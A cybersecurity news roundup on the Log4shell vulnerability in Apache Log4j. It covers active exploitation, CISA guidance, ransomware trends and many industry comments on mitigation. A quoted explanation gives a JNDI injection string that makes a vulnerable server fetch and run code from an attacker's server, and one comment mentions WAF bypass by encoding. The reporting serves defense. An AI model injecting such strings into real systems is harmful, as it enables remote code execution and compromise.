Log4shell is now undergoing active exploitation.

In any case, consensus is that Log4j isn't going to be a simple fix. The vulnerable code is easy to exploit and is as close to ubiquitous as a Java logging package can be. The first step any organization should take is to determine where the library containing Log4j is actually used, and that's not a trivial task. As Duo Security observes, "Log4j is so prevalent - utilized by millions of third-party enterprise applications, cloud services and manufacturers, including Apple, Twitter and Tesla - that security teams may have difficulties pinpointing where the library is actually being used." And once they've been found, upgrade Log4j or applications that use it to Apache's latest version (v2.15.0).

Netsparker, which thinks Log4shell is arguably the "worst software vulnerability ever, offers a brief review of how the vulnerability might be exploited:

"The vulnerability is high-impact yet extremely easy to exploit. The attacker simply needs to prepare a malicious Java file, put it on a server they control, and include the following string in any data that will be logged by the application server: ${jndi:ldap://attackers-server.com/malicious-java-file}

"When the vulnerable server logs this string, Log4j will retrieve and execute Java code from an attacker-controlled server, allowing arbitrary code execution. If the code is a remote shell, the attacker will obtain a local shell with the privileges of the system user running the vulnerable application."

JFrog explains the implications: "This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string." Thus as Reuters reports, we're seeing the familiar race between offense and defense.

CISA engages private and public stakeholders over Log4shell.

The US Cybersecurity and Infrastructure Security Agency (CISA) continues its active outreach to organizations affected by Log4shell. The organization met yesterday with critical infrastructure stakeholders, CyberScoop reports, and it's worth noting that in the US at least most of those stakeholders are in the private sector. The public sector hasn't escaped attention, either: on Friday CISA added Log4Shell to its Known Exploited Vulnerabilities Catalog of actively-exploited vulnerabilities, and it gave the Federal agencies under its jurisdiction until Christmas Eve, December 24th, to "Apply updates per vendor instructions." CISA is updating its Apache Log4j Vulnerability Guidance as new information becomes available. US Federal agencies and other interested organizations may follow updates there.

Trends in risk and exploitation: from scanning to cryptojacking to ransomware.

Scanning for vulnerable systems has been very widespread, ZDNet reports. Some of the earliest reports of exploitation in the wild involved, according to Cyberscoop, involved cryptojacking, but the crooks seem to have quickly moved on from this grubbiest level of cyber crime. Microsoft researchers are among those who detected cryptojacking efforts, but they also saw attempts to install Cobalt Strike "to enable credential theft and lateral movement, and exfiltrating data from compromised systems."

Since Cobalt Strike is a common ransomware precursor, Venture Beat and others predicted that ransomware exploiting the vulnerability would soon follow. (Indeed, Ars Technica speculates that Log4shell was used in the ransomware incident that this weekend hit payroll services provider Kronos. That account, however, is unconfirmed, more correlation at this stage than causation.) And Bitdefender has reported finding Log4shell exploited to install the relatively new Khonsari ransomware strain as well as the Orcus remote access Trojan.

And threat actors haven't been content to stick with the original exploits. Check Point reports that "new variations of the original exploit [are] being introduced rapidly- over 60 in less than 24 hours."

Industrial control system security specialists at Dragos have evaluated the implications of the vulnerability for operational technology (OT) networks. "Dragos assesses with moderate confidence that as network defenders close off more simplistic exploit paths and advanced adversaries incorporate the vulnerability in their attacks, more sophisticated variations of Log4j exploits will emerge with a higher likelihood of directly impacting Operational Technology networks." They recommend that organizations move to an "assume breach" posture, and they also provide a useful set of steps that can be followed to locate Log4j in an enterprise's systems. In sum their recommendations are similar to those offered by CISA. Sergio Caltagirone, Vice President of Threat Intelligence at Dragos, summed up the company's advice in an email:

“Log4j is used heavily in external/internet-facing and internal applications which manage and control industrial processes leaving many industrial operations like electric power, water, food and beverage, manufacturing, and others exposed to potential remote exploitation and access. Dragos identified active exploitation of vulnerability CVE-2021-44228 and has provided immediate detection support and specific intelligence to industrial customers. It’s important to prioritize external and internet-facing applications over internal applications due to their internet exposure, although both are vulnerable. Dragos recommends all industrial environments update all affected applications where possible based on vendor guidance immediately and employ monitoring that may catch exploitation and post-exploitation behaviors.”

More industry comment on Log4shell.

“This vulnerability was exploited by low-level attackers for immediate profit, but there were also attacks that are in line with sophisticated threat actors operating with a more elaborate and dangerous end goal than just a “snatch and grab,” says Etay Maor, senior director of security strategy at Cato Networks. 

Marc Laliberte, Technical Security Operations Manager at WatchGuard Technologies, says their honeynet has seen the extent and severity of the scanning and consequent attempts at exploitation:

“On Thursday, security researchers disclosed a critical, unauthenticated remote code execution (RCE) vulnerability in log4j2, a popular and widely used logging library for java applications. This is a full 10.0 CVSS vulnerability and it earns every one of those points. While there are a few mitigating factors like the version of Java your app is running on, for a vulnerable system this is as bad as it gets. To exploit it, an attacker just needs to make your app log a string they provide and that, in general, is exactly what logging implementations are designed to do. That’s enough for full remote code execution. This bug has been around for years and it wasn’t until someone asked the question “Is this a security risk?” on the program’s open source repository on Thursday that it blew the roof off. In fact, by early Friday morning WatchGuard’s honeynet was being inundated with people probing for vulnerable apps and actively trying to exploit the vulnerability to deploy cryptominers by injecting the exploit into commonly logged fields in web requests. Millions of apps use this library, and while the exploit is trivial, it’s a big one. Any developer that didn’t drop everything and release a patch on Friday of last week is already behind the 8-ball.”

McAfee Enterprise and FireEye’s Principal Engineer & Head of Advanced Threat Research, Steve Povolny, adds Log4shell to the vulnerability hall of fame:

“Log4Shell now firmly belongs in the same conversation as Shellshock, Heartbleed and EternalBlue. After just a week, most of the world is aware of the severity and ubiquity of this widespread vulnerability.

"Now the question pivots to how the exploitation of the bug is evolving and just how long we could be dealing with repercussions from it. Attackers began by almost immediately leveraging the bug for illegal crypto mining, or using legitimate computing resources on the Internet to generate cryptocurrency for financial profit.

"Given the low-hanging fruit and ease of exploitation, this was anticipated. Further exploitation appears to have pivoted towards theft of private information, including leaking of sensitive information such as environment variables from cloud service providers and leakage of sensitive or private data.

"Given that the vulnerability allows for arbitrary remote code execution, we fully expect to see an evolution of attacks leading to deployment of complex malware and ransomware, command and control for data exfiltration, as well as network persistence and pivoting towards other integral systems on adjacent networks. The impact could be enormous in short order because this vulnerability is wormable and could be built to spread itself.

"While a patch is available, that's not the end of the story. There are dozens of versions of the vulnerable component as well as customized code and configurations, not to mention the challenge of finding and ultimately deploying patches for the seemingly innumerable instances of log4j.

"Furthermore, as attacks have been observed in massive volume, it is safe to assume many organizations have already been breached and will require forensics and incident response. We believe log4shell exploits will persist for months if not years to come, with a significant decrease over the next few days and weeks as patches are increasingly rolled out.”

Nicholas Sciberras, head of engineering at Invicti’s Acunetix, agrees that the vulnerability is among the most serious on record. He also notes that exploitation is easy, well within the reach of script kiddies and skids:

"Log4Shell is one of the worst vulnerabilities we have ever seen. It can impact businesses, governments, and consumers directly, and it will be exploited for months to come. It’s powerful, ubiquitous, and easy to use – the ultimate hack for someone who wants to do something malicious – even without sophisticated knowledge. 

"It’s astonishingly easy. Even a typical script kiddie can perform the attack, it doesn’t require a professional blackhat hacker. This is because it requires no authentication, tricks, or jumping from server to server. It’s simply a text string sent to any place that will be logged. And finding such a place is very easy – it can be a simple header, or a simple text field. 

"Its impacts are everywhere. Java is one of the most popular languages for web applications, mobile applications – practically everything. Log4j is a library used in nearly every Java installation because it is used for logging server operations. Many applications also keep logs for debugging purposes. 

"It’s powerful. With this vulnerability, attackers gain almost unlimited power – they can extract sensitive data, upload files to the server, delete data, install ransomware, or pivot to other servers.

"So what should organizations do? Every organization needs to immediately determine where and how they directly or indirectly use this library and then take steps to mitigate the vulnerability by either upgrading the library or modifying Java system properties to disable the vulnerable functionality. 

'More broadly, it’s becoming clear that organizations must adopt processes to build Software Bills of Materials (SBOM) for every application they deploy. They can then use SBOMs to help them focus incident response actions following a zero-day vulnerability announcement such as Log4Shell. Given the widespread use of open-source and other third-party components in modern applications, SBOMs are a foundational element of cyber resilience."Thousands of Java applications across the world are wide open to remote code execution attacks targeting the Log4j library. This post summarizes what we know so far about the Log4Shell vulnerability, how you can mitigate it, and what it means for cybersecurity here and now."

Jeff Williams, Co-Founder and CTO at Contrast Security, is pleased to see CISA working to help control Log4shell. “I’m glad to see that CISA is working to help address the log4j vulnerability. They’re right about the extreme seriousness and widespread impact of this problem," he wrote. He adds, however, that we shouldn't mischaracterize the work as "proactive." "But I would challenge the notion that they are being 'proactive.' There’s nothing wrong with reacting in a crisis, but these recommendations aren’t really the top priority.”

He addressed CISA's high-level reactions to the vulnerability. The first of those is the recommendation that organizations should "enumerate any external facing devices that have log4j installed." Williams offers some clarification: “The real focus should be on any system that has a vulnerable combination of log4j and Java, where the log4j library is active. Focus on 'external facing' devices is a mistake as many internal systems log data that originated from an untrusted source.”

CISA also advised, "Make sure that your security operations center is actioning every single alert on the devices that fall into the category above." Williams agrees that this amounts to sound advice, but that following it is no small task: “Focusing on systems with actually exploitable versions of log4j and Java makes sense. But the range of possible attack vectors here is huge. The attacker can do just about anything they want on the target system, requiring a huge amount of effort to detect real attacks.”

As to CISA's recommendation about WAFs ("Install a web application firewall (WAF) with rules that automatically update so that your SOC is able to concentrate on fewer alerts") Williams writes: “There are numerous ways to bypass WAFs to exploit this vulnerability. In addition to the traditional encoding methods, this attack can easily be embedded into data structures that the WAF cannot examine, like JSON, XML, serialized objects, etc…. Also, many log4j attacks don’t use HTTP, and attacks could come through any of these vectors.” He also thinks, “There are a variety of more reliable ways to stop log4shell. They include using Runtime Application Self-Protection (RASP), blocking JNDI/LDAP traffic to arbitrary hosts, setting environment variables, deleting a class from log4j jar files, updating log4j, and updating Java.”

As far as the longer term recommendations CISA and others have offered, Williams finds them worth considering:

"While I think that creating SBOMs is a useful exercise, it doesn’t help much with the current situation. SBOMs will help to create transparency around library use and encourage keeping them up to date. But they don’t have nearly enough information to really determine if you are vulnerable to an exploit like log4shell. SBOMs are really just the first (and really easy) step… the hard work is in determining if a library is actually used in a way that an attacker could exploit. This requires analysis of the entire running stack – including platform, app framework, libraries, and all the custom code.

"Longterm, organizations should establish the infrastructure necessary to handle the next incident like this… which is surely coming. You’ll need runtime protection to detect and block this kind of attack that’s extensible for novel attacks. You’ll want to push back into the development process with great tools to manage your software supply chain. And you’ll want to push even farther “left” to help developers prevent the coding patterns that lead to attacks, like log-injection in this case.”

 Amit Shaked, co-founder and CEO of Laminar, urges more attention to data protection:

“Data is no longer a commodity, it's a currency — as this incident represents. Information within an organization’s network is valuable to both businesses and attackers. With a majority of the world’s data residing in the cloud, it is imperative that organizations become cloud native when thinking about data protection. Solutions need to be completely integrated with the cloud in order to identify potential risks and have a deeper understanding of where the data resides. Using the dual approach of visibility and protection, data protection teams can know for certain which data stores are valuable targets and ensure proper controls as well as backup and recovery flows are in place.” 

Michael Assraf, CEO of Vicarius, puts the vulnerability in the context of the software supply chain, especially with respect to cloud applications: 

"The way modern products are built is using a big hierarchy of dependencies, where developers use libraries written by third-party companies and engineers to speed up the software release process. Log4J is an extremely basic library that allows log writing in Java applications. The way CVE-2021-44228 affects comes in 3 layers - cloud products that directly use the Log4J, web applications that use libraries that use Log4J, and off-the-shelf software which is internally deployed on customer servers and endpoints.

"As fixing and deploying cloud applications can be fast, updating libraries that use Log4J can break functionality unless done with caution. As of right now, only 114 of 17170 libraries which use Log4J are actually safe (0.66%). The most problematic fixes are internally deployed software, which will have to wait for a vendor update or a security patch, in that scenario customers are advised to wait on further vendor guidance and as of right now are helpless in reacting. Examples include: Elasticsearch, Intellij IDE, Jira Confluence, Apache Tomcat, Minecraft, Apache Hadoop, Eclipse IDE, and many more."

As we saw above, Ars Technica and others are speculating that the ransomware incident Kronos has disclosed may have been connected with Log4j. While not making that particular leap, and while not asserting a connection between the Apache vulnerability and Kronos, James Shank, Senior Security Evangelist and Chief Architect, Community Services at Team Cymru, considers the seasonal implications of a ransomware incident:

"Having payroll, time, and attendance interrupted by ransomware during this time of year is terrible. The Kronos/UKG ransomware event will add to the end of year stress for many of their clients. Ransomware is about extortion, and in this case, the impact and timing makes this a huge issue for UKG. This could create nightmare time tracking, scheduling, and payroll processing scenarios. It could not come at a worse time of year.

"With the log4j vulnerability impacting many Internet facing systems, Kronos/UKG may be old news soon. There are already reports of a variety of actors using the log4j exploit. Microsoft has already seen a common precursor to ransomware, Cobalt Strike, landing on log4j exploited systems. It won't be long before we hear of ransomware events tied to log4j as the initial vector."

Just one more thing.

So how widespread is the Log4shell vulnerability? It's literally interplanetary: Log4j is in the code aboard NASA's Ingenuity Mars probe, the one with the helicopter.